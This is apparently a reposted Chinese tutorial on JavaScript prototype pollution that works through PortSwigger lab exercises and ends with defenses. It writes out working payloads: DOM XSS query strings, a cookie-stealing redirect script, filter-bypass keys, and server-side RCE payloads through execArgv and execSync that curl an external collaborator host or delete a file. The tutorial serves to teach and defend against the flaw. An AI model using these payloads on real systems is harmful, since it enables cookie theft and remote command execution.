PortSwigger 原型污染

一、什么是原型污染

        原型污染是一种 JavaScript 漏洞,它使攻击者能够向全局对象原型添加任意属性,然后这些属性可能被用户定义的对象继承。

二、JavaScript 原型和继承基础

  1、原型

    JavaScript 中的每个对象都链接到某种类型的另一个对象,称为其原型。JavaScript 会自动为新对象分配其内置原型之一。例如,字符串会自动分配内置的String.prototype

let myObject = {};
Object.getPrototypeOf(myObject);    // Object.prototypelet myString = "";
Object.getPrototypeOf(myString);    // String.prototypelet myArray = [];
Object.getPrototypeOf(myArray);	    // Array.prototypelet myNumber = 1;
Object.getPrototypeOf(myNumber);    // Number.prototype

2、继承 

      对象会自动继承其分配的原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使开发人员能够创建可以重用现有对象的属性和方法的新对象。

3、原型链

        每个函数对象有 prototype 属性,而实例对象没有,但所有的实例对象(函数,数组,对象)都会初始化一个私有属性 __proto__ 指向它的构造函数的原型对象 prototype。

        构造函数、原型对象、以及实例对象的关系理清如下:

  • 个构造函数都有一个 prototype 原型对象
  • 每个实例对象都有一个 __proto__ 属性,并且指向它的构造函数的原型对象 prototype
  • 对象里的 constructor 属性指向其构造函数本身

        函数对象的 prototype 是另一个对象,它也有自己的 prototype,依此类推。这条链最终会回到顶层 ,其原型就是Object.prototype,对象不仅从其直接原型继承属性,还会继承直接原型继承的属性。

function f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链: f ---> Function.prototype ---> Object.prototype ---> null

4、 使用 __proto__ 访问对象的原型

        每个对象都有一个特殊属性 __proto__,可以使用该属性来访问其原型。例如:

username.__proto__
username['__proto__']

        将引用链接起来,访问原型链上的其他原型,例如:

username.__proto__                        // String.prototype
username.__proto__.__proto__              // Object.prototype
username.__proto__.__proto__.__proto__    // null

5、修改原型 

        可以像修改任何其他对象一样修改 JavaScript 的内置原型。开发人员可以自定义或覆盖内置方法的行为,或者可以添加新方法来执行必要的操作。

        例如, 在 JavaScript 中为 String.prototype 添加一个 removeWhitespace 方法,以去除字符串前后的空白字符

String.prototype.removeWhitespace = function(){// remove leading and trailing whitespace
}

 添加自定义方法后,所有字符串都可以访问此方法

let searchTerm = "  example ";
searchTerm.removeWhitespace();    // "example"

 三、原型污染漏洞原理

直接污染原型

object[a][b] = value

当a、b均可控制的时候将直接导致原型污染,如下:

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); //Hello World

        原型污染漏洞通常出现在 JavaScript 函数以递归方式将包含用户可控制属性的对象合并到现有对象中。这可能允许攻击者注入__proto__属性以及任意嵌套属性。

        merge 操作可能会将嵌套属性分配给对象的原型,而不是目标对象本身。攻击者可以使用包含有害值的属性污染原型,这些值随后可能会被应用程序以危险的方式使用。

merge递归合并污染原型

        在这个例子中,由于merge函数没有正确处理__proto__属性,导致object1被污染。原本和object2 递归合并的结果是a: 1,"__proto__": {b: 2},结果变成了a: 1,b: 2

function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
};let object1 = {};
let object2 = {a: 1,"__proto__": {b: 2}};
merge(object1, object2);
console.log(object2);
console.log(object1); 

JSON.parse()污染

        JSON.parse() 方法用于将一个 JSON 字符串转换成一个 JavaScript 对象。在转换过程中,JSON.parse() 会解析字符串中的属性和值,并创建一个新的 JavaScript 对象,其属性和值与 JSON 字符串中的对应。

        如果 JSON 字符串中包含特殊属性(如 __proto__),并且 JSON.parse() 方法没有对其进行特殊处理,那么这些特殊属性可能会被添加到解析后的对象的原型上,从而改变对象的原型链。(注意:我使用浏览器没有复现成功,读者可以找低版本浏览器试试) 

const jsonString = '{"__proto__": {"isAdmin": true}}';
const obj = JSON.parse(jsonString);
console.log(obj.isAdmin); // 输出: true
console.log(Object.prototype.isAdmin); // 输出: true,这改变了全局的 Object.prototype

   成功利用原型污染必备条件

  • 原型污染源 - 能够向原型对象注入恶意属性的输入

  • 接收器 - 允能够执行任意代码的 JavaScript 函数或 DOM 元素

  • 可利用的小工具(Sink) - 未经适当筛选或清理而接收并处理来自原型污染源的数据的属性或方法。

四、 原型污染源

        原型污染源是任何用户可控制的输入,可用于向原型对象添加任意属性。常见的来源如下:

  • URL

  • 基于 JSON 的输入

  • Web 消息

1、通过 URL 对原型进行污染

构造如下查询字符串,可通过递归合并函数造成原型污染:

https://vulnerable-website.com/?__proto__[evilProperty]=payload

2、 通过 JSON 输入对污染进行原型设计

例如,通过 Web 消息注入了以下恶意 JSON

{"__proto__": {"evilProperty": "payload"}
}

通过JSON.parse()__proto__将其转换为 JavaScript 对象后,objectFromJson的原型将被改变:

const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');objectFromJson.hasOwnProperty('__proto__');  //ture

 五、 客户端原型污染

1、通过客户端原型污染的 DOM XSS

手动解决方案

(1)寻找原型污染源

尝试注入任意属性进行污染:

/?__proto__[foo]=bar

通过浏览器的 DevTools 面板 Consolo 控制台访问,查看是否有对象返回,有返回确定为污染源

>>Object.prototype.foo
<<'bar'

(2)识别小工具

        在浏览器的 DevTools 面板中,转到 Sources () 选项卡。研究目标站点加载的 JavaScript 文件,查找 DOM XSS 接收器。发现页面加载后会创建 script 代码 并调用 transport_url 变量。如果对象的原型进行污染即可利用。        

Object 变量如何被污染的:

见deparam 函数关键代码::

            if ( keys_last ) {for ( ; i <= keys_last; i++ ) {key = keys[i] === '' ? cur.length : keys[i];cur = cur[key] = i < keys_last? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] ): val;}

 当url参数被传入deparam函数,在进入if循环前__proto__[cc]=by 最终被处理为:

keys=["__proto__","cc"]
keys_last=1
val = by

将上述变量带入if循环,当存在 keys_last 执行第一次循环 :

第一次循环 i=0,key=“__proto__”,cur[__proto__] =__proto__,cur = cur[“__proto__”]

由于cur["__proto__"] 等于 Object.prototype 此时 cur指向了Object.prototype。

第二次循环 i=1,key=“cc”,cur["cc"]=by 相当于 Object.prototype['cc'] = by,最终导致了Object原型变量被污染。

(3)漏洞利用

使用确定的原型污染源,尝试注入任意属性

/?__proto__[transport_url]=foo

 构造XSS负载

/?__proto__[transport_url]=data:,alert(1);

DOM Invader 解决方案

  • 在使用 Burp 的内置浏览器中打开测试网站,启用 DOM Invader 、 prototype pollution 选项。
  • 打开浏览器的 DevTools 面板,转到 DOM Invader 选项卡,重新加载页面。
  • DOM Invader 在属性中将识别了两个原型污染向量,即查询字符串。
  • 单击 Scan for gadgets(扫描小工具)。将打开一个新选项卡,其中 DOM Invader 开始扫描使用所选源的小工具。
  • 扫描完成后,在与扫描相同的选项卡中打开 DevTools 面板 的 DOM Invader 选项卡。
  • 观察 DOM Invader 已通过 Gadget 成功访问接收器。
  • 单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)

2、通过替代原型污染向量的 DOM XSS

手动解决方案

(1)识别污染源

/?__proto__[cc]=by
/?__proto__.cc=by

(2)识别小工具

加载页面后调用searchlogger,最终执行eval命令,当污染原型的sequence变量即可造成污染。

小知识:eval() 函数会将传入的字符串当做 JavaScript 代码进行执行。

(3)漏洞利用

利用代码如下:

/?__proto__.sequence=alert(1)-

未弹窗,通过 consolek控制台,跳到js代码打上断点,发现传入的值带1,不是javascript代码

通过 - 进行注释,最终为结果如图,将之插入url并刷新,成功利用。

/?__proto__.sequence=alert(1)-

DOM Invader 解决方案

  • 在使用 Burp 的内置浏览器中打开测试网站,启用 DOM Invader 、 prototype pollution 选项。
  • 打开浏览器的 DevTools 面板,转到 DOM Invader 选项卡,重新加载页面。
  • DOM Invader 在属性中将识别了两个原型污染向量,即查询字符串。
  • 单击 Scan for gadgets(扫描小工具)。将打开一个新选项卡,其中 DOM Invader 开始扫描使用所选源的小工具。
  • 扫描完成后,在与扫描相同的选项卡中打开 DevTools 面板 的 DOM Invader 选项卡。
  • 观察 DOM Invader 已通过 Gadget 成功访问接收器。
  • 单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)
  • 打断点排查报错有缺陷的消毒造成的客户端原型污染

3、有缺陷的消除造成的客户端原型污染 (字符串绕过)

手动解决方案

(1)识别污染源

?__pro__proto__to__[by]=cc

(2)识别小工具

(3)漏洞利用

4、第三方库中的客户端原型污染

  • 启用 DOM Invader 、 prototype pollution 选项。 
  • 进入DevTools 面板的 DOM Invader 选项卡,然后重新加载页面。
  • DOM Invader 在属性中识别了两个原型污染向量,即 URL 片段字符串
  • 单击 Scan for gadgets(扫描小工具)。开始扫描使用所选源的小工具。
  • 在扫描选项卡中打开 DevTools 面板的DOM Invader 选项卡,Sinks中识别到了小工具
  • 单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)
  • 在利用服务器构造负载,body添加如下代码:
<script>location="https://YOUR-LAB-ID.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

        location 内容为自动生成的负载,点击保存发送到受害者,受害者点解利用服务器网址,将加载负载,弹出受害者cookies

六、 通过浏览器 API 构建原型污染

手动解决方案

1、识别污染源

2、识别小工具

 Object.defineProperty() 静态方法会直接在一个对象上定义一个新属性,或修改其现有属性,并返回此对象。

Object.defineProperty(obj, prop, descriptor)obj要定义属性的对象。
prop一个字符串或 Symbol,指定了要定义或修改的属性键。
descriptor要定义或修改的属性的描述符。
返回值传入函数的对象,其指定的属性已被添加或修改。

        configurable 控制属性是否可以从对象中删除以及其特性(除了 value 和 writable)是否可以更改。

        writable 当 writable 特性设置为 false 时,该属性被称为“不可写的”。它不能被重新赋值。

        根据源码可知config函数中定义了 transport_url: false ,由于config函数存在该属性,将不会继续读取原型的transport_url属性, 导致后续将无法读取污染的原型利用。接下来使用了Object.defineProperty()重新定义 transport_url属性,没有设置value值,这将导致继承object原型的value值,即config.transport_url=value值。

(3)漏洞利用

DOM Invader 解决方案

  • 启用 DOM Invader 、 prototype pollution 选项。 
  • 进入DevTools 面板的 DOM Invader 选项卡,然后重新加载页面。
  • DOM Invader 在属性中识别了两个原型污染向量,即 URL 片段字符串
  • 单击 Scan for gadgets(扫描小工具)。开始扫描使用所选源的小工具。
  • 在扫描选项卡中打开 DevTools 面板的DOM Invader 选项卡,Sinks中识别到了小工具
  • 单击 Exploit (漏洞利用

七、 服务器端原型污染

1、通过服务器端原型污染进行权限提升

原理:在使用 for ... in ... 循环的过程,会读取原型中自定义的属性

(1)识别污染源

利用json数据更新就行参数污染,在更新用户数据页面传入参数污染,发现用户成功将污染属性输出,如图:

(2)识别小工具

用户信息中存在"isAdmin":false,尝试参数污染将isAdmin属性值定义为ture,如图所示:

(3)进行利用

刷新页面发现,已具备admin权限,如图:

2、检测服务器端原型污染,而不产生受污染的属性反射

常见手法:

        Express 状态代覆盖:通过判断返回的状态码值,判断是否进行了污染。

"__proto__": {"status":555
}

        Express版本 <  4.17.4 JSON空格覆盖:通过判断返回的空格变化,判断是否进行了污染。

"__proto__":{"json spaces":10}

        Express 字符集覆盖:首先将信息进行utf-7编码,正常回显不会显示解码信息,当使用UTF-7 字符集的属性来污染原型,如果此处存在参数污染,将返回解码的数据。

foo in UTF-7 is +AGYAbwBv-.
    "__proto__":{"content-type": "application/json; charset=utf-7"}

         Express 字符集覆盖(续):主要的原因是由于Node 模块中的一个错误导致的,为避免在请求包含重复标头时覆盖原有属性,该函数在将属性传输到对象之前会检查是否不存在具有相同键的属性,此检查将会包括通过 prototype 链继承的属性。将导致参数被污染。

(1)尝试正常污染参数,发现无回显,如图:

"__proto__": {"foo":"bar"
}

(2)使用状态代覆盖覆盖方式查看是否受到参数污染影响

通过修改json格式触发报错,报错状态码为400

构造参数污染,将状态码属性改为555:

"__proto__": {"status":555
}

在此尝试报错,返现状态码已经被污染,如图:

4、使用扫描器扫描服务器端原型污染源

(1)从 BApp Store 安装 Server-Side Prototype Pollution 。Burp---Extensions--BApp-store

(2)使用 Burp 自带浏览器访问目标网站,使之记录足够多的请求记录

(3)在 Burp 的 Proxy > HTTP history 选取测试的数据包 转到Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution >从列表中选择一种扫描技术

(4)在 Burp Suite Professional 版本中,该扩展会通过“控制板”和“目标”选项卡上的“问题”活动面板报告它找到的原型污染源。在  Burp Suite Community Edition版本,则需要转到Extensions > Installed(已安装的扩展)选项卡,选择扩展,通过OUtput进行查看。如图:

5、绕过有缺陷的输入滤波器,防止服务器端原型污染

常见绕过方法:

        模糊绕过,例如:

__pro__proto__to__

        通过 constructor 属性绕过,例如:

"constructor": {"prototype": {"ccc":"byy"}
}

原理:在JavaScript中,constructor 属性是一个非常特殊的属性,它存在于所有通过构造函数(constructor function)创建的实例对象上。这个属性指向创建该实例对象的构造函数。可通过prototype 修改构造函数原型的属性。例如:

//定义了一个名为 Person 的类,它有一个构造函数,接受两个参数:name 和 age,并将它们分别赋值给实例的 name 和 age 属性。
class Person {constructor(name, age) {this.name = name;this.age = age;}
}//person2 是通过 Person 类创建的一个实例对象
const person2 = new Person("Bob", 25);//在 JavaScript 中,每个通过类创建的实例对象都有一个 constructor 属性,该属性指向创建该实例的构造函数。因此,这个比较结果为 true。
console.log(person2.constructor === Person); // true//使用prototype给Person的原型对象添加方法,之后所有的实际将继承该方法
Person.prototype.sayHello = function() {console.log('Hello, my name is ' + this.name);
};// person1的__proto__指向Person.prototype
console.log(person1.__proto__ === Person.prototype); // true

(1)正常注入发现无返回,如图

(2)尝试使用模糊测试进行污染,存在返回,说明服务端对__proto__进行了过滤。如图:

(3)通过属性污染原型,成功回显,如图:

(4)识别小工具,尝试将isAdmin 变为 true,利用成功。如图:

6、通过服务器端原型污染远程执行代码

        Node 的一些用于创建新子进程的函数接受一个可选属性,这使开发人员能够设置一个特定的 shell、 bash。

"__proto__": {"execArgv":["--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"]
}

    execArgv  是一个与 child_process 模块相关的选项,它允许你在创建子进程时指定传递给该子进程的 Node.js 命令行参数。

    --eval选项:Node.js CLI的--eval(或-e)选项允许你直接传递一段JavaScript代码给Node.js执行,而不需要将其保存在文件中。例如,node -e "console.log('Hello, world!')"会打印出Hello, world!        

    require('child_process').execSync:这是Node.js核心模块child_process中的一个方法,用于同步执行shell命令

(1)尝试参数污染

通过回显判断:

通过空格覆盖判断:

(2)尝试触发burp Collaborator  的DNS 记录

插入参数污染:

"__proto__": {"execArgv":["--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"]
}

 手动触发job作业:

存在返回,说明sink工具可以被利用 ,如图:

(3) 制作漏洞利用

"__proto__": {"execArgv":["--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"]
}

7、通过 child_process.execSync() 执行远程代码 

        和fork()一样,该execSync()方法也接受 options 对象,该对象可能通过原型链被污染。虽然这不接受属性execArgv,但您仍然可以通过同时污染shell和input将系统命令注入正在运行的子进程中: 

        该input选项只是一个字符串,它被传递给子进程的stdin流并由 执行为系统命令execSync()。由于还有其他选项可以提供命令,例如简单地将其作为参数传递给函数,因此input属性本身可能未定义。
        该shell选项允许开发人员声明他们希望在其中运行命令的特定 shell。默认情况下,execSync()使用系统的默认 shell 来运行命令,因此这也可以不定义。

        通过污染这两个属性,可以覆盖应用程序开发人员打算执行的命令,并在您选择的 shell 中运行恶意命令。

"shell":"vim",
"input":":! whoami\n"
"__proto__":{
"shell":"vim"
"input":":! curl https://aguk8yjornzbbwze022mz92ogfm6awyl.oastify.com
\n"}

 八、防止原型污染

1、清理属性健

        防止原型污染漏洞的更明显方法之一是在将属性键合并到现有对象之前对其进行清理,例如:__proto__

2、防止更改原型对象

        防止原型污染漏洞的更可靠方法是完全防止原型对象被更改。

        对对象调用Object.freeze(Object.prototype可确保无法再修改其属性及其值,并且无法添加新属性。

   bject.seal()Object.freeze()类似,但仍允许更改现有属性的值。

// 创建一个普通对象
const person = {name: "Alice",age: 25
};// 冻结对象
Object.freeze(person);// 尝试修改对象的属性
person.name = "Bob"; // 无效
person.age = 30;    // 无效// 冻结 Object.prototype
Object.freeze(Object.prototype);// 尝试添加一个新的方法到 Object.prototype
Object.prototype.newMethod = function() {console.log("This is a new method on Object.prototype");
};// 尝试调用新的方法
const obj = {};
obj.newMethod(); // TypeError: Cannot add property newMethod, object is not extensible

3、阻止对象继承属性 

        默认情况下,所有对象都通过 prototype 链直接或间接地从 global 继承。可以通过使用该方法手动设置对象的原型。

let myObject = Object.create(null); Object.getPrototypeOf(myObject); // null

4、 使用更安全的替代品

        使用提供内置保护的对象,例如,在定义 options 对象时,使用其他方法替代。尽管 map 仍然可以继承恶意属性,但它们有一个内置方法,该方法仅返回直接在 map 本身上定义的属性:

Object.prototype.evil = 'polluted';
let options = new Map();
options.set('transport_url', 'https://normal-website.com');options.evil;                    // 'polluted'
options.get('evil');             // undefined
options.get('transport_url');    // 'https://normal-website.com'

        集合提供了一个内置方法,这些方法只返回直        接在对象本身上定义的属性:

Object.prototype.evil = 'polluted';
let options = new Set();
options.add('safe');options.evil;           // 'polluted';
option.has('evil');     // false
options.has('safe');    // true

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/63105.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

威联通-004 安装photoview相册应用Docker镜像

文章目录 前言准备MariaDB 10phpMyAdminphotoview 安装步骤1.安装MariaDB 10和phpMyAdmin2.初始安装MariaDB 103.进入phpMyAdmin添加账户4.手动下载photoview的Docker库注意&#xff1a;安装 phpMyAdmin 报错5.配置photoview6.容器安装成功之后进入photoview注意&#xff1a;这…

ScratchLLMStepByStep:一步一步构建大语言模型教程

前言 在学习大语言模型的时候&#xff0c;总会遇到各种各样的名词&#xff0c;像自注意力、多头、因果、自回归、掩码、残差连接、归一化等等。这些名词会让学习者听的云里雾里&#xff0c;觉得门槛太高而放弃。 本教程将会带你从零开始&#xff0c;一步一步的去构建每一个组…

6.824/6.5840 Lab 1: MapReduce

宁静的夏天 天空中繁星点点 心里头有些思念 思念着你的脸 ——宁夏 完整代码见&#xff1a; https://github.com/SnowLegend-star/6.824 由于这个lab整体难度实在不小&#xff0c;故考虑再三还是决定留下代码仅供参考 6.824的强度早有耳闻&#xff0c;我终于也是到了挑战这座高…

学习threejs,使用CubeCamera相机创建反光效果

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️CubeCamera 立方体相机 二、…

变点问题的公式推导

背景与关键定义 变点检测问题 变点检测的目标是在给定的观测序列 y 1 , y 2 , … , y T y_1, y_2, \dots, y_T y1​,y2​,…,yT​ 中&#xff0c;找到一个或多个点&#xff08;变点&#xff09;&#xff0c;使得每段子序列&#xff08;即变点划分的区间&#xff09;能被一个较…

解决github网络慢的问题

前言 本文采用替换host的方式来加速github的git请求&#xff0c;主要我自己用来备份的懒人方式&#xff0c;不然每次都要手动修改hosts文件&#xff0c;skrskrskr… 一、获取到可用的ip 先到这个网站查询到低延迟的ip 站长工具&#xff1a;https://ping.chinaz.com/ 第2步&…

vue3【实战】多页签【组件封装】PageTabs (含右键快捷菜单组件封装 Contextmenu -- 关闭其他页签,关闭所有页签)

效果预览 技术方案 vue3 ( vite | TS | vueUse | AutoImport | pinia) Element Plus UnoCSS 技术要点 需开启 pinia 持久化右键菜单组件借助了 Element Plus 的样式 代码实现 src/components/PageTabs.vue <script setup lang"ts"> import { usePageTabsSto…

全面解析 Transformer:改变深度学习格局的神经网络架构

目录 一、什么是 Transformer&#xff1f; 二、Transformer 的结构解析 1. 编码器&#xff08;Encoder&#xff09; 2. 解码器&#xff08;Decoder&#xff09; 3. Transformer 模型结构图 三、核心技术&#xff1a;注意力机制与多头注意力 1. 注意力机制 2. 多头注意力&…

容器运行应用及Docker命令

文章目录 一、使用容器运行Nginx应用1_使用docker run命令运行Nginx应用1 观察下载容器镜像过程2 观察容器运行情况 2_访问容器中运行的Nginx服务1 确认容器IP地址2 容器网络说明3 使用curl命令访问 二、Docker命令1_Docker命令获取帮助方法2_Docker官网提供的命令说明3_docker…

【热门主题】000075 探索嵌入式硬件设计的奥秘

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 【热…

数据分析(一): 掌握STDF 掌握金钥匙-码农切入半导体的捷径

中国的半导体行业必然崛起&#xff01;看清这个大势&#xff0c;就会有很多机会。 今天&#xff0c;我们一起来了解一下半导体行业的一朵金花&#xff1a;STDF。 实际上这只是一种文件格式&#xff0c;但是当你熟练掌握解析这种文件的时候&#xff0c;你就已经打开在这个基础…

Latex转word(docx)或者说PDF转word 一个相对靠谱的方式

0. 前言 投文章过程中总会有各种各样的要求&#xff0c;其中提供word格式的手稿往往是令我头疼的一件事。尤其在多公式的文章中&#xff0c;其中公式转换是一个头疼的地方&#xff0c;还有很多图表&#xff0c;格式等等&#xff0c;想想就让人头疼欲裂。实践中摸索出一条相对靠…

AWS创建ec2实例并连接成功

aws创建ec2实例并连接 aws创建ec2并连接 1.ec2创建前准备 首先创建一个VPC隔离云资源并且有公有子网 2.创建EC2实例 1.启动新实例或者创建实例 2.创建实例名 3.选择AMI使用linux(HVM) 4.选择实例类型 5.创建密钥对下载到本地并填入密钥对名称 6.选择自己创建的VPC和公有子网…

“放弃Redis Desktop Manager使用Redis Insight”:日常使用教程(Redis可视化工具)

文章目录 更新Redis Insight连接页面基础解释自动更新key汉化暂时没有找到方法&#xff0c; Redis Desktop Manager在连接上右键在数据库上右键在key上右键1、添加连接2、key过期时间 参考文章 更新 (TωT)&#xff89;~~~ β&#xff59;ё β&#xff59;ё~ 现在在维护另一…

如何用注册机破解Reflexive游戏

相信有许多小朋友&#xff08;像我以前一样&#xff09;已经迫不及待地准备准备对浩瀚的、像三星堆一般的Reflexive游戏合集进行考古挖掘工作了。不巧的是&#xff0c;打开游戏之后发现常常提示要付费才能解锁完整版。 一、下载注册机与破解文件 首先&#xff0c;在我的永硕网…

一万台服务器用saltstack还是ansible?

一万台服务器用saltstack还是ansible? 选择使用 SaltStack 还是 Ansible 来管理一万台服务器&#xff0c;取决于几个关键因素&#xff0c;如性能、扩展性、易用性、配置管理需求和团队的熟悉度。以下是两者的对比分析&#xff0c;帮助你做出决策&#xff1a; SaltStack&…

PDF文件页面转换成图片怎么弄-免费PDF编辑工具分享

>>更多PDF文件处理应用技巧请前往 96缔盟PDF处理器 主页 查阅&#xff01; —————————————————————————————————————— 序言 我之前的文章也有介绍过如何使用96缔盟PDF处理器对PDF文件转换成图片&#xff0c;但是当时是使用DMPDFU…

从 scratch开始构建一个最小化的 Hello World Docker 镜像-docker的镜像源头

在这篇文章中&#xff0c;我们将学习如何从零开始构建一个最小化的 Docker 镜像&#xff0c;基于 scratch 镜像&#xff0c;并在其中运行一个简单的 “Hello World” 程序。 Scratch 是一个空白的基础镜像&#xff0c;适用于构建轻量化、独立的容器。由于 scratch 不包含任何系…

OpenHarmony-4.GPIO驱动

GPIO 1.功能简介 GPIO&#xff08;General-purpose input/output&#xff09;即通用型输入输出。GPIO又俗称为I/O口&#xff0c;I指的是输入(in&#xff09;&#xff0c;O指的是输出&#xff08;out&#xff09;。可以通过软件来控制其输入和输出&#xff0c;即I/O控制。通常&…

leetcode 1843 可疑银行账户(postgresql)

需求 表: Accounts -------------------- | Column Name | Type | -------------------- | account_id | int | | max_income | int | -------------------- account_id 是表主键。 每行包含一个银行账户每月最大收入的信息。 表: Transactions ------------------------ |…